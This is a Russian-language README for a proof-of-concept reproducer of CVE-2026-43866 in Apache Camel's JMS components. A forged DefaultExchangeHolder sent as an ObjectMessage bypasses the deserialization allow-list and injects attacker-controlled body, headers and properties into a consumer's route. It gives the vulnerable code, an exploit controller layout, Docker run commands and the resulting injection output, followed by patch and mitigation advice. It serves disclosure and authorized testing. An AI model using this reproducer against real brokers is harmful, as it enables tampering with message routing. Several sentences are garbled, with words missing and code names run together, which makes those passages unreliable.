
Воспроизведение CVE-2026-43866 — Apache Camel camel-jms подделка DefaultExchangeHolder в обход фильтра десериализации CVE-2026-40860 (инъекция состояния обмена)
Этот проект демонстрирует CVE-2026-43866, обход исправления CVE-2026-40860 в компонентах camel-jms (и camel-sjms / семейства JMS) Apache Camel. CVE-2026-40860 добавил белый список классов после десериализации (java.**;javax.**;org.apache.camel.**;!*) для входящих полезных нагрузок ObjectMessage JMS. Но org.apache.camel.support.DefaultExchangeHolder находится в разрешённом пространстве имён org.apache.camel.**, поэтому ObjectMessage, чей объект верхнего уровня является DefaultExchangeHolder, проходит проверку. Принимающая сторона затем вызывает для него необходимости , записывая каждое ненулевое поле держателя в маршрутизируемый Exchange (тело, заголовки IN/OUT, свойства обмена, переменные, идентификатор обмена, исключение). Атакующий, который может опубликовать , может, таким образом, — чтобы манипулировать маршрутизацией, заголовками, свойствами и обработкой ошибок.
DefaultExchangeHolder.unmarshal()transferExchangeObjectMessagejava.* — без необходимости цепочки гаджетов десериализацииКонсультация: https://camel.apache.org/security/CVE-2026-43866.html
| Свойство | Значение |
|---|---|
| Компоненты | camel-jms (+ camel-sjms, camel-sjms2, camel-amqp, camel-activemq, camel-activemq6) |
| Затрагиваемый класс | org.apache.camel.component.jms.JmsBinding#extractBodyFromJms → DefaultExchangeHolder.unmarshal |
| CWE | CWE-502 (Десериализация недоверенных данных) + CWE-20 (Некорректная проверка входных данных) |
| Воздействие | Инъекция состояния Exchange: управляемое атакующим тело, заголовки, свойства, переменные, исключение |
| Характер | Обход исправления фильтра классов CVE-2026-40860 (не ошибка в нём) |
| Затронутые версии | С 3.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23373 (jms), CAMEL-23409 (sjms) |
| Автор отчета | gaorenyusi |
// JmsBinding.extractBodyFromJms(...) - affected 4.18.2
if (message instanceof ObjectMessage objectMessage) {
Object payload = objectMessage.getObject();
checkDeserializedClass(payload); // CVE-2026-40860 allow-list: java.**;javax.**;org.apache.camel.**;!*
if (payload instanceof DefaultExchangeHolder holder) { // <-- DefaultExchangeHolder is org.apache.camel.** -> passes
DefaultExchangeHolder.unmarshal(exchange, holder); // <-- writes forged state into the Exchange; NO transferExchange gate
Map<String, Object> jmsHeaders = extractHeadersFromJms(message, exchange);
exchange.getIn().getHeaders().putAll(jmsHeaders);
return exchange.getIn().getBody();
} else {
return payload;
}
}
Асимметрия: отправляющая сторона блокирует создание ObjectMessage/transferExchange, но принимающая сторона десериализует любой DefaultExchangeHolder, который она десериализует. Исправление (4.14.8 / 4.18.3 / 4.21.0) добавляет новую опцию objectMessageEnabled (security = "insecure:serialization", по умолчанию false) — входящий ObjectMessage больше не десериализуется вообще, если не включён явно, поэтому поддельный держатель никогда не может достичь unmarshal(). (Это критическое изменение для маршрутов, которые полагаются на ObjectMessage / transferExchange).
Белый список JMS-провайдера не помогает. Этот PoC настраивает клиент ActiveMQ с реалистичным, заблокированным
trustedPackages = [java, javax, org.apache.camel]— записьorg.apache.camel— это именно то, чему должно доверять развёртывание, использующее легитимныйtransferExchange. Поддельный держатель всё равно проходит, потому что он сам являетсяDefaultExchangeHolder, все поля которого являются доверенными типамиjava.*, неотличимыми от легитимного.
from("jms:queue:cve") // mapJmsMessage defaults to true; transferExchange NOT set
.process(exchange -> { /* observes the injected body / headers / properties */ });
Жертва — потребитель Camel JMS. Атакующий — любой производитель, который может публиковать в очередь. Оба взаимодействуют с реальным брокером Apache ActiveMQ Artemis в Docker.
CVE-2026-43866/
├── pom.xml # camel-jms 4.18.2 + activemq-client 6.2.4 (NO gadget library)
├── Dockerfile # runs the app (no --add-opens; no gadget)
├── docker-compose.yml # Artemis broker (quay.io) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── JmsConfig.java # OpenWire ConnectionFactory (trustedPackages incl. org.apache.camel) + jms component
│ ├── VictimRoute.java # victim: from("jms:queue:cve"); records what the route observed
│ ├── CapturedState.java
│ ├── ForgedHolderFactory.java # builds a DefaultExchangeHolder via the public marshal() API
│ └── ExploitController.java # attacker: publishes the forged holder as an ObjectMessage
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Published a forged DefaultExchangeHolder as a JMS ObjectMessage to queue 'cve'.
# ...
# body = INJECTED-BODY-... (injected: true)
# header = pwned-header-... (injected: true)
# property = pwned-property-... (injected: true)
#
# >>> Exchange-state injection proof — attacker controlled body+header+property: true
Маршрут выполнился с телом, заголовком и свойством, которые он никогда не устанавливал — все они были предоставлены поддельным держателем атакующего.
docker compose down
Любой потребитель Camel JMS (camel-jms, camel-sjms, camel-sjms2, camel-amqp, camel-activemq,
camel-activemq6) с mapJmsMessage=true (по умолчанию), читающий из места назначения, в которое атакующий может публиковать. Включение transferExchange не требуется на потребителе.
mapJmsMessage=true (по умолчанию) в уязвимой версии.ObjectMessage, полезная нагрузка которого является DefaultExchangeHolder.transferExchange, означает, что провайдер уже доверяет org.apache.camel. Библиотека гаджетов не требуется.Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23373 / CAMEL-23409). Обработка JMS ObjectMessage отключена по умолчанию с помощью новой опции objectMessageEnabled; включайте её только для мест назначения, которые питаются исключительно доверенными производителями.
До обновления:
ObjectMessage, в недоверенные сети.DefaultExchangeHolder).Этот воспроизводитель предоставлен только для целей исследования безопасности и авторизованного тестирования для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.